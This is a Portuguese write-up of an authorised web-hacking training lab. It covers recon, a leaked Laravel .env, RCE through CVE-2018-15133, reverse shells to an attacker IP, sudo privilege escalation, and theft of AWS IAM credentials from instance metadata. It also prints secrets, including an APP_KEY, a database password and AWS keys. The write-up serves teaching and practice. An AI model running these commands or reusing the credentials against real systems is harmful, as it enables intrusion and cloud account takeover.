Semana do Web Hacking - Writeup
14
2

Semana do Web Hacking - Writeup

Identificando vulnerabilidade em um ambiente web, controlando o painel VESTA, elevação de privilégio e evoluindo para AWS.

Pedro Mariano
9 min
14
2

Seja bem vindo!

Este é um writeup da Semana do Web Hacking (SWH), evento realizado em 03/05/2021 à 09/05/2021 - um evento criado e organizado pela Crowsec que, precedeu as inscrições para o curso "Web Hacking na Prática 2.0". Neste evento o criador e instrutor Carlos Vieira ("Cadu"), lança uma série de videos (free) durante uma semana ensinando sobre a base do web hacking e como os ataques funcionam. Nesta versão da "Semana do Web Hacking" foi voltada a prática de um pentest web, onde o Cadu produziu uma "box" pública simulando um ambiente real alocado na nuvem, para a prática junto aos vídeos da SWH conduzindo um pentest.

Como foi produzido um ambiente real e público, com o propósito de servir para um teste de invasão (pentest) e autorizado pelo proprietário, podemos praticar e tentar ownar o host seguindo passo a passo junto ao vídeo de cada dia da semana ou também para testar os conhecimentos. Decidi seguir pelo método de "quebrar a cabeça" antes de assistir aos vídeos.

Segue um pouco de como foi chegar à "nuvem"...


O nosso alvo para este evento em questão é: https://cshosting.crowsec.com.br/. De acordo com o nome do site e seu conteúdo, o host se apresenta como uma empresa provedora de servidores virtuais. 

Email image

Utilizando as ferramentas host, dig, whois e nslookup, foi possível identificar o seu IP e através dele foi identificado que está hospedado na AWS. 

Email image

Enumeração

NMAP

sudo nmap -vvv -sSV -p21,22,25,53,80,110,143,443,465,587,993,995,2525,3306,8083,8443 -A https://cshosting.crowsec.com.br -oN nmap/scanSVA
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 48 vsftpd 3.0.2
22/tcp open ssh syn-ack ttl 47 OpenSSH 7.4 (protocol 2.0)
|[...]
25/tcp open smtp syn-ack ttl 45 Exim smtpd 4.94
| smtp-commands: ip-172-31-40-185.ec2.internal Hello ec2-34-200-146-45.compute-1.amazonaws.com [191.6.40.80], SIZE 52428800, 8BITMIME, PIPELINING, X_PIPE_CONNECT, AUTH PLAIN LOGIN, CHUNKING, STARTTLS, HELP,
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
| ssl-cert: Subject: commonName=swh-server.crowsec.com.br/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US/organizationalUnitName=IT/emailAddress=carlos@crowsec.com.br/localityName=San Francisco
| Issuer: commonName=swh-server.crowsec.com.br/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US/organizationalUnitName=IT/emailAddress=carlos@crowsec.com.br/localityName=San Francisco
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-28T16:33:02
| Not valid after: 2022-04-28T16:33:02
| MD5: dc12 4fb3 79eb 702a 9ae4 d400 6173 ae38
| SHA-1: eb10 0d14 1ed0 e99e e4e3 a43c 3eb4 52bc da59 cead
| -----BEGIN CERTIFICATE-----
| MIIF3DCCA8QCCQCmIA0LvML3XzANBgkqhkiG9w0BAQsFADCBrzELMAkGA1UEBhMC
| VVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28x
| HDAaBgNVBAoME1Zlc3RhIENvbnRyb2wgUGFuZWwxCzAJBgNVBAsMAklUMSIwIAYD
| VQQDDBlzd2gtc2VydmVyLmNyb3dzZWMuY29tLmJyMSQwIgYJKoZIhvcNAQkBFhVj
| ...==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
53/tcp open domain syn-ack ttl 45 (unknown banner: get lost)
| [...]
80/tcp open http syn-ack ttl 48 nginx
| http-methods:
| Supported Methods: POST OPTIONS GET HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-title: swh-server.crowsec.com.br — Coming Soon
110/tcp open pop3 syn-ack ttl 48 Dovecot pop3d
|_pop3-capabilities: RESP-CODES UIDL TOP AUTH-RESP-CODE CAPA USER SASL(PLAIN LOGIN) PIPELINING STLS
|_ssl-date: TLS randomness does not represent time
143/tcp open imap syn-ack ttl 49 Dovecot imapd
|_imap-capabilities: LITERAL+ IMAP4rev1 more SASL-IR AUTH=PLAIN listed OK AUTH=LOGINA0001 LOGIN-REFERRALS IDLE Pre-login STARTTLS post-login have ENABLE capabilities ID
|_ssl-date: TLS randomness does not represent time
443/tcp open ssl/http syn-ack ttl 48 nginx
| [...]
465/tcp open ssl/smtp syn-ack ttl 45 Exim smtpd 4.94
|_smtp-commands: Couldn't establish connection on port 465
| ssl-cert: Subject: commonName=swh-server.crowsec.com.br/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US/organizationalUnitName=IT/emailAddress=carlos@crowsec.com.br/localityName=San Francisco
| Issuer: commonName=swh-server.crowsec.com.br/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US/organizationalUnitName=IT/emailAddress=carlos@crowsec.com.br/localityName=San Francisco
| [...]
587/tcp open smtp syn-ack ttl 46 Exim smtpd 4.94
| smtp-commands: ip-172-31-40-185.ec2.internal Hello ec2-34-200-146-45.compute-1.amazonaws.com [191.6.40.80], SIZE 52428800, 8BITMIME, PIPELINING, X_PIPE_CONNECT, AUTH PLAIN LOGIN, CHUNKING, STARTTLS, HELP,
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
| ssl-cert: Subject: commonName=swh-server.crowsec.com.br/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US/organizationalUnitName=IT/emailAddress=carlos@crowsec.com.br/localityName=San Francisco
| Issuer: commonName=swh-server.crowsec.com.br/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US/organizationalUnitName=IT/emailAddress=carlos@crowsec.com.br/localityName=San Francisco
| [...]
993/tcp open ssl/imaps? syn-ack ttl 47
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3s? syn-ack ttl 45
|_ssl-date: TLS randomness does not represent time
2525/tcp open smtp syn-ack ttl 45 Exim smtpd 4.94
| smtp-commands: ip-172-31-40-185.ec2.internal Hello ec2-34-200-146-45.compute-1.amazonaws.com [191.6.40.80], SIZE 52428800, 8BITMIME, PIPELINING, X_PIPE_CONNECT, AUTH PLAIN LOGIN, CHUNKING, STARTTLS, HELP,
|_ Commands supported: AUTH STARTTLS HELO EHLO MAIL RCPT DATA BDAT NOOP QUIT RSET HELP
| ssl-cert: Subject: commonName=swh-server.crowsec.com.br/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US/organizationalUnitName=IT/emailAddress=carlos@crowsec.com.br/localityName=San Francisco
| Issuer: commonName=swh-server.crowsec.com.br/organizationName=Vesta Control Panel/stateOrProvinceName=California/countryName=US/organizationalUnitName=IT/emailAddress=carlos@crowsec.com.br/localityName=San Francisco
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-04-28T16:33:02
| Not valid after: 2022-04-28T16:33:02
| MD5: dc12 4fb3 79eb 702a 9ae4 d400 6173 ae38
| SHA-1: eb10 0d14 1ed0 e99e e4e3 a43c 3eb4 52bc da59 cead
| -----BEGIN CERTIFICATE-----
| MIIF3DCCA8QCCQCmIA0LvML3XzANBgkqhkiG9w0BAQsFADCBrzELMAkGA1UEBhMC
| VVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28x
| HDAaBgNVBAoME1Zlc3RhIENvbnRyb2wgUGFuZWwxCzAJBgNVBAsMAklUMSIwIAYD
| VQQDDBlzd2gtc2VydmVyLmNyb3dzZWMuY29tLmJyMSQwIgYJKoZIhvcNAQkBFhVj
|...==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
3306/tcp open mysql syn-ack ttl 45 MySQL 5.5.68-MariaDB
| mysql-info:
| Protocol: 10
| Version: 5.5.68-MariaDB
| [...]
8083/tcp open http syn-ack ttl 47 nginx
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: Vesta - LOGIN
|_Requested resource was /login/
8443/tcp open ssl/http syn-ack ttl 48 Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.45)
| http-methods:
| Supported Methods: POST OPTIONS GET HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/5.4.45
|_http-title: CS Cloud Hosting Provider & WHMCS
| [...]
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
|_tls-nextprotoneg: <empty>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=5/6%Time=6093F809%P=x86_64-pc-linux-gnu%r(DNSVe
SF:rsionBindReqTCP,43,"\0A\0\x06\x85\0\0\x01\0\x01\0\x01\0\0\x07version\x0
SF:4bind\0\0\x10\0\x03\xc0\x0c\0\x10\0\x03\0\0\0\0\0\t\x08get\x20lost\xc0\
SF:x0c\0\x02\0\x03\0\0\0\0\0\x02\xc0\x0c");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.0 (92%), Linux 3.10 - 3.13 (92%), ASUS RT-N56U WAP (Linux 3.4) (90%), Linux 3.16 (90%), Linux 4.4 (90%), Linux 3.10 (88%), Linux 3.10 - 4.11 (88%), Linux 3.11 - 3.12 (88%), Linux 3.2 (88%), Linux 3.2 - 4.9 (88%)
No exact OS matches for host (test conditions non-ideal).
[...]

Algumas informações apresentadas no scan foram removidas [...] para esta publicação com o intuito de uma visualização menos "poluída" do scan

Analizando o resultado do scan, podemos checar manualmente o que está sendo servido em cada porta.

Às porta padrões de serviços de e-mail (25 e 2525) retornam o IP interno na AWS.

...ip-172-31-40-185.ec2.internal...

A porta 8083 (http) leva para área de administração, solicitando credenciais e apresentando também a logo da VESTA: https://cshosting.crowsec.com.br:8083/login/

Pesquisando sobre a VESTA, em seu site oficial, é possível observar que provêm um painel de controle grátis para CS apresentando integração com a AWS e outros serviços utilizados, apresentados em sua página principal. Com isso, podemos nos atentar aos serviços e tecnologias utilizadas pela VESTA que podem estar em produção em nosso alvo.

Email image

Interagindo com alguns serviços apresentados no scan, foi constatado que:

  • O serviço ssh não autentica com usuário e senha, autentica somente com chaves (key)
  • O serviço ftp não autentica com credencial "anonima" (anonymous)

Navegando pela "Área do Cliente", foi possível encontrar algumas páginas para interagir: https://cshosting.crowsec.com.br/login/public/ 

  • https://cshosting.crowsec.com.br/login/public/login >> página de  autenticação 
  • https://cshosting.crowsec.com.br/login/public/register >> Registro

Após realizar um registro, o site redireciona para a página https://cshosting.crowsec.com.br/login/public/home e apresenta a seguinte mensagem: "Bem vindo ao portal do cliente, o administrador irá liberar o seu acesso em breve!". Observando então, que o registro do usuário é verificado pelo administrador ou outro usuário com mais privilégios.

Email image

Levantando mais informações sobre o funcionamento da página web, foi encontrado e observado que pela página server.php (https://cshosting.crowsec.com.br/login/server.php) também é possível seguir para área de autenticação e registro, porém a página se apresenta "quebrada". Também foi possível enumerar outras páginas através de seu código fonte.

https://cshosting.crowsec.com.br/login/server.php/js/app.js
https://cshosting.crowsec.com.br/login/server.php/css/app.css
https://cshosting.crowsec.com.br/login/server.php/login
https://cshosting.crowsec.com.br/login/server.php/register
https://cshosting.crowsec.com.br/login/server.php/password/reset

Através do brute force de diretórios, foram encontradas algumas páginas interessantes como: phpmyadmin, .git e .gitignore. O que possibilitou mapear outras páginas existentes no serviço web.

https://cshosting.crowsec.com.br/login/.gitignore
/node_modules
/public/hot
/public/storage
/storage/*.key
/vendor
/.idea
/.vscode
/.vagrant
Homestead.json
Homestead.yaml
npm-debug.log
yarn-error.log
.env
.phpunit.result.cache

Verificando as páginas apresentadas na lista ".gitignore", foi encontrado em produção a página /vendor (retornou código 403) e .env (cod. 200). Através da página .env (https://cshosting.crowsec.com.br/login/.env) foram expostos o usuário, a senha do banco de dados e também dados da API, indicando através desta estrutura o uso do framework Laravel:

APP_NAME="Portal - CS Hosting"
APP_ENV=local
APP_KEY=base64:9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk=
APP_DEBUG=true
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=localhost
DB_PORT=3306
DB_DATABASE=admin_client
DB_USERNAME=admin_laravel
DB_PASSWORD=fPXUTSxNdl
BROADCAST_DRIVER=log
CACHE_DRIVER=file
QUEUE_CONNECTION=sync
SESSION_DRIVER=file
SESSION_LIFETIME=120
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379
MAIL_DRIVER=smtp
MAIL_HOST=smtp.mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null
PUSHER_APP_ID=
PUSHER_APP_KEY=
PUSHER_APP_SECRET=
PUSHER_APP_CLUSTER=mt1
MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"

Utilizando também a ferramenta/scanner de vulnerabilidades "Larasploit" voltado para o Framework Laravel - codada pelo criador deste lab - é positivado a vulnerabilidade no Laravel que também identificou a página .env (que já encontramos anteriormente) trazendo a key da API e os cookies recebidos.

python3 larasploit.py https://cshosting.crowsec.com.br/login/
___ / ______ _____________ __________________ /________(_)_ /_
__ / _ __ `/_ ___/ __ `/_ ___/__ __ \_ /_ __ \_ /_ __/
_ /___/ /_/ /_ / / /_/ /_(__ )__ /_/ / / / /_/ / / / /_
/_____/\__,_/ /_/ \__,_/ /____/ _ .___//_/ \____//_/ \__/
/_/
- Laravel Automated Vulnerability Scanner
[Target]: https://cshosting.crowsec.com.br/login/
[~] Application Fingerprint
[HTTP STATUS]: 200
[Server]: nginx
[PHP Version]: PHP/7.4.18
[Common Laravel Cookie]: XSRF-TOKEN: eyJpdiI6IjJFS2czeGtP...
[Common Laravel Cookie]: portal_cs_hosting_session: eyJpdiI6InRiQjJRV0hy...
[VULN] Vulnerability detected: .env file exposed
[INFO]: APP_KEY leaked: base64:9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk
[INFO]: Application running in Debug Mode (got via .env)
[INFO]: Brace for attack...

Utilizando a opção "inspecionar" do navegador, também podemos identificar estes Cookies atribuídos. 

Email image

Testando os dados obtidos do banco de dados em alguns serviços enumerados anteriormente, foi possível acessar o bd remotamente com sucesso através da porta padrão do mysql.

mysql -u admin_laravel -h cshosting.crowsec.com.br -p
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| admin_client |
+--------------------+
2 rows in set (0.28 sec)

Foi possível realizar um dump da tabela "users" da base de dados "admin_cliente" e encontramos os 2 primeiros usuários que pareciam "oficiais/propositais", pois os usuários restantes eram provavelmente de outros atacantes desta semana SWH e os 2 primeiros continham crowsec/cshosting como domínio de e-mail...

| 1 | Luiz Silva | luiz@cshosting.crowsec.com.br | NULL | $2y$10$GHGf5zde25XBuqPwHOlnj.WxakEjmUmlz0tDu4wn7AaMMKEGavH3u | NULL | 2021-04-28 20:33:22 | 2021-04-28 20:33:22 |
| 2 | Carlos Vieira | carlos@crowsec.com.br | NULL | $2y$10$WWwYy23zS/L2LMRqksP0iOEgFPGJYgYCH7rADkE5Grzda5QIOSvK6 | NULL
[...]

Apesar de comprometer o banco de dados obtendo um acesso remoto com credenciais válidas, o que não deveria ser possível de forma alguma em um ambiente real, não consegui avanços por aqui.

Buscando por formas de exploração, foi encontrado um exploit público para exploração do Laravel utilizando o API Token exposto no .env - CVE-2018-15133 -> https://github.com/aljavier/exploit_laravel_cve-2018-15133 Através deste exploit foi obtido um RCE. 

Email image

Tentando evoluir para uma shell reversa, foi identificado a existencia do netcat, porém não mantinha uma reverse shell estável. Utilizado então, o próprio bash para a conexão reversa. Mas para isso, foi utilizado a ferramenta netcat para aguardar a conexão reversa através da porta 6666:

nc -vnlp 6666
Listening on 0.0.0.0 6666
python3 pwn_laravel.py https://cshosting.crowsec.com.br/login/public/ 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -c 'nc 191.6.40.223 6666 -e /bin/bash'
python3 pwn_laravel.py https://cshosting.crowsec.com.br/login/public/ 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -c 'bash -i >& /dev/tcp/191.6.40.223/6666 0>&1'

Ao receber a shell reversa, foi utilizado alguns comandos para melhorar a interatividade da shell e, obter assim, mais eficiência durante a exploração

ctrl + z
stty raw -echo
fg
reset
python -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Neste momento, comandos como clear,setas e atalhos do teclado funcionarão nesta shell no alvo.

Acessando o painel de controle VESTA:

============ Dica das aulas 

Buscando por alteração de senhas do usuário administrativo do painel de controle VESTA, foi encontrado um tutorial com alguns métodos para alteração da senha atual. Como não temos a senha do usuário "admin", podemos utilizar o método 2 descrito no tutorial com o comando:

v-change-user-password admin newpassword

Visualizado com sudo -l é possível a execução como root para os arquivos existentes em /usr/local/vesta/bin/ e dentro deste diretório do VESTA, há diversos comandos/scripts para execução, dentre eles o "v-change-user-password".

Executado como root e alterado a senha do usuário admin com sucesso.

sudo /usr/local/vesta/bin/v-change-user-password admin napo123

Dessa forma, foi possível acessar o painel de controle administrativo via web utilizando a nova senha.

Email image

Obs.: interessante observar também que, este comando não altera somente a senha do painel de controle, mas sim do usuário existente na máquina. Contudo, podemos assumir que o painel de controle do VESTA utiliza-se das informações do usuário na máquina. ============

Mesmo com shell no servidor, o nível de acesso ainda é restrito e podemos ir além!

Escalação de privilégio

Rodando o comando sudo -l, podemos observar as permissões de execução em nível root (através do sudo) configuradas para este usuário atual.

[admin@ip-172-31-40-185 /]$ sudo -l
Matching Defaults entries for admin on ip-172-31-40-185:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, env_keep=VESTA, !syslog,
!requiretty
User admin may run the following commands on ip-172-31-40-185:
(root) NOPASSWD: /usr/local/vesta/bin/*

Conforme o retorno do comando, todos os arquivos existentes no diretório /usr/local/vesta/bin/ (da VESTA) podem ser executados com sudo. Criado então, um script em bash (napo.sh) chamando o binário /bin/bash no diretório usr/local/vesta/bin/. Através desse script, quando executado, será retornado uma shell bash com privilégios a nível do usuário que o executou. O que se encaixa perfeitamente em nosso cenário, pois o comando sudo é permitido para este diretório, então conseguiremos executar este script como um usuário de nível root.

echo "/bin/bash -p" > napo.sh

Atribuído permissão de execução com chmod e em seguida foi executado o script napo.sh utilizando o comando sudo.

[admin@ip-172-31-40-185 bin]$ chmod +x napo.sh
[admin@ip-172-31-40-185 bin]$ ls -la napo.sh
-rwxrwxr-x 1 admin admin 13 May 8 21:09 napo.sh
[admin@ip-172-31-40-185 bin]$ sudo /usr/local/vesta/bin/napo.sh
[root@ip-172-31-40-185 bin]# id
uid=0(root) gid=0(root) groups=0(root)
[root@ip-172-31-40-185 bin]# cd /root
[root@ip-172-31-40-185 ~]# pwd
/root

Escalado privilégio para root com sucesso!

Agora com privilégio elevado para root, podemos acessar o banco de dados como root e, com isso dumpar o BD completamente, diferente do acesso "restrito" ao banco de dados que obtivemos anteriormente.

Email image

Neste momento estamos com o nível de usuário administrador (root) deste servidor. Uma situação grave, pois com este nível de acesso qualquer tarefa pode ser realizada, comprometendo gravemente o servidor. Apesar de imaginar já ter chegado ao fim, ainda não chegamos lá...

Ownando na nuvem

============ -- Aprendido com Kadu - Aula 04

Por meio da faze de recon, foi observado que o site está hospedado na AWS.

A AWS por padrão, utiliza-se do endereço IP local 169.254.169.254 válido somente a partir da instância) para acesso aos metadados. Por meio disso, com o acesso a máquina ownada, podemos acessar estes dados existentes da instância na AWS.

Utilizado o cURL para testar a comunicação e acesso as versões da API.

Email image

Normalmente, a versão mais interessante a ser consultada é a "latest" - curl 169.254.169.254/latest/ - para acessar as últimas alterações da máquina. Ao realizar a requisição para 169.254.169.254/latest/ apresentaram 2 opções de acesso aos dados atuais: "meta-data" e "user-data" - user-data: referente aos dados/permissionamento dos usuários na instância - meta-data: referente aos dados/permissionamentos da instância/máquina.

Por padrão, as "funções" configuradas da instância se localizam no diretóro "iam/" e explorando este diretório é encontrado a função "CSHOSTING" contendo os tokens de acesso de API.

curl 169.254.169.254/latest/meta-data/iam/security-credentials/CSHOSTING
{
"Code" : "Success",
"LastUpdated" : "2021-05-09T20:02:10Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5W5BZR2WIZWOR47D",
"SecretAccessKey" : "HjDkO8W/Tzpah+udTPXFTgLoF+9YiyiYDViXmh7X",
"Token" : "IQoJb3JpZ2luX2VjEPT//////////wEaCXVzLWVhc3QtMSJGMEQCIGioFIgeI//7nMrBniitCWVFTZc2DpS+TKcZIPp/au6dAiBSVMwSHm5lfuI57cd08FGHCww0iwFJqYy7ULlOwGRJCSq0Awh9EAEaDDk0MjU0Nzc2Njk1NiIMhfVrQpdKqfrhnOI5KpEDJ2PdLZPJJ5h1Q061rALUX6HGzk5t/oo4HNwqBBXjFLhf96mz8ry7S8SSmfDjkvq3nr6Sxdp05fNRnsI6s7byUb0Z8DhFlj4UhUWM1/gjaUd09z7OkYMkpx0AbJuJtPxvbACkioA3k9ig1JNHdKfE3jwWeXhQcwMJ6PkQnuV902I4pf5SX14E/vw/sBcHKn2cbvFacn7TaArTzlbOnbT8C4Ntbi3MfT0GZ/n1mwOIg+xTVQNGYjXO7+8gWewXqxUxdzkUcmjDjhd+g/NIFWtHpNVWYpvj7Le+PBRlPxf2Z7HBamQznjo4MlrrQvirHmiEbHVHxRKE7C4cdKl5rCPsGKm5CIEstPsC3xR3Vl41KgyJ9o3xWsJAzCxwcbhPgitQjQMC2RScXaY7mGWjBFGUmNAOsKUXzOcfZ0Y10MGWuGyS9vCn4R1fbYZtm/MoIqtDjKe50bg1n+jsVertYF8nW6mSzsj5OQc4Ly1SXSSCFuS66ct6yXYuFeokiu+IZCtB9fhjx9XxzfYAcnyYsDMrAnkw5P/ghAY67AF9Z5zu0s1ZQCw7hBeOK0SNbVubsXq4t+QIASOOTscXFZIlg5b/ZouBY8hRlZ16aXp4wSNIFXCXJVDSbRpb0zmpTgkzpddGsg/Xdq+Ijt2mOEpurG5f+bf5SCNIbNHSW+n4kj3DUZSI9QFeogxjuZ2+ORD3o/3PSaaTHVceLvyLfRYRrnPeqKWpHVH/JrZgc8cinDrbZ/7cIoMs8KjM7UXQ86BVDSFM4VIfTAd6UY9k3z7r/RPX2+9dlkpYfqLaVKwgXolF9WkxcYDyiKJOFyl47f8/I27nfmJEddSYdfgqeRSlHXllIQJpuK0ANw==",
"Expiration" : "2021-05-10T02:32:34Z"
}

Com estes dados em mãos, foi utilizado a cli da AWS (pip3 install awscli) para comunicar diretamente com a AWS utilizando os tokens.

Mas antes desse acesso à AWS, é necessário a configuração dos tokens na cli para que consigamos comunicar. Para isso, podemos seguir algumas instruções disponibilizadas pela AWS para esta configuração. 

Email image

Utilizado os comandos a seguir para configurar os tokens na awscli:

  • export AWS_ACCESS_KEY_ID=
  • export AWS_SECRET_ACCESS_KEY=
  • export AWS_SESSION_TOKEN=
Email image

Esta chave não tem privilégio para comunicar com o IAM. Mas a AWS é composta por outros serviços que podemos testar o privilégio desta chave que já temos.

aws s3 ls
2021-05-05 02:38:59 cshosting-privatebucket
2021-04-06 17:41:11 elasticbeanstalk-us-east-1-942547766956
2021-01-15 10:56:10 elasticbeanstalk-us-west-2-942547766956

Dessa forma, executamos o comando "ls" diretamente na Amazon S3 listando os buckets ("pastas/diretórios") existentes nesta conta (dos tokens configurados).

Levando em conta o nosso alvo, o bucket "cshosting-privatebucket" tem um nome bem instigante, correto? Que tal checar o seu conteúdo?!

aws s3 ls s3://cshosting-privatebucket
2021-05-05 20:53:15 397 swh.txt

Pudemos encontrar somente o arquivo "swh.txt" neste bucket, sigla que se remete ao evento "Semana do Web Hacking".

Será o "grand finale"?

Copiado o arquivo para minha máquina e visualizado o seu conteúdo!

Email image

Sim, foi o "grand finale" o/

Conclusão

Hoje muitos dados e ambientes são hospedados em nuvem, o que proporciona mais praticidade por contornar a necessidade de recursos físicos/locais, porém além da praticidade é necessário uma atenção a mais voltada para a sua configuração e proteção destes dados armazenados e disponibilizados em nuvem, pois uma falha pode comprometer todo o ambiente, podendo por exemplo, comprometer mais de um domínio existente. O que ressalta a importância destas skills para o Blue Team, como também para o Red Team/pentesters - "root pode não ser o limite".

Como sempre, a Semana do Web Hacking foi demais, mas esta versão foi a melhor com certeza (em minha opinião) e pude aprender com ela! Se você curte e se interessa pela área de Web Hacking, recomendo não perder a Semana do Web Hacking o/

Obrigado por ter chegado até aqui!

Espero que tenha gostado e sinta-se livre para pingar um café :D

naP0

Give a Pingback

Referênciais:

https://semana.webhacking.com.br/swh

https://github.com/carlosevieira/larasploit

https://github.com/aljavier/exploit_laravel_cve-2018-15133

https://www.interserver.net/tips/kb/reset-vestacp-admin-password

https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html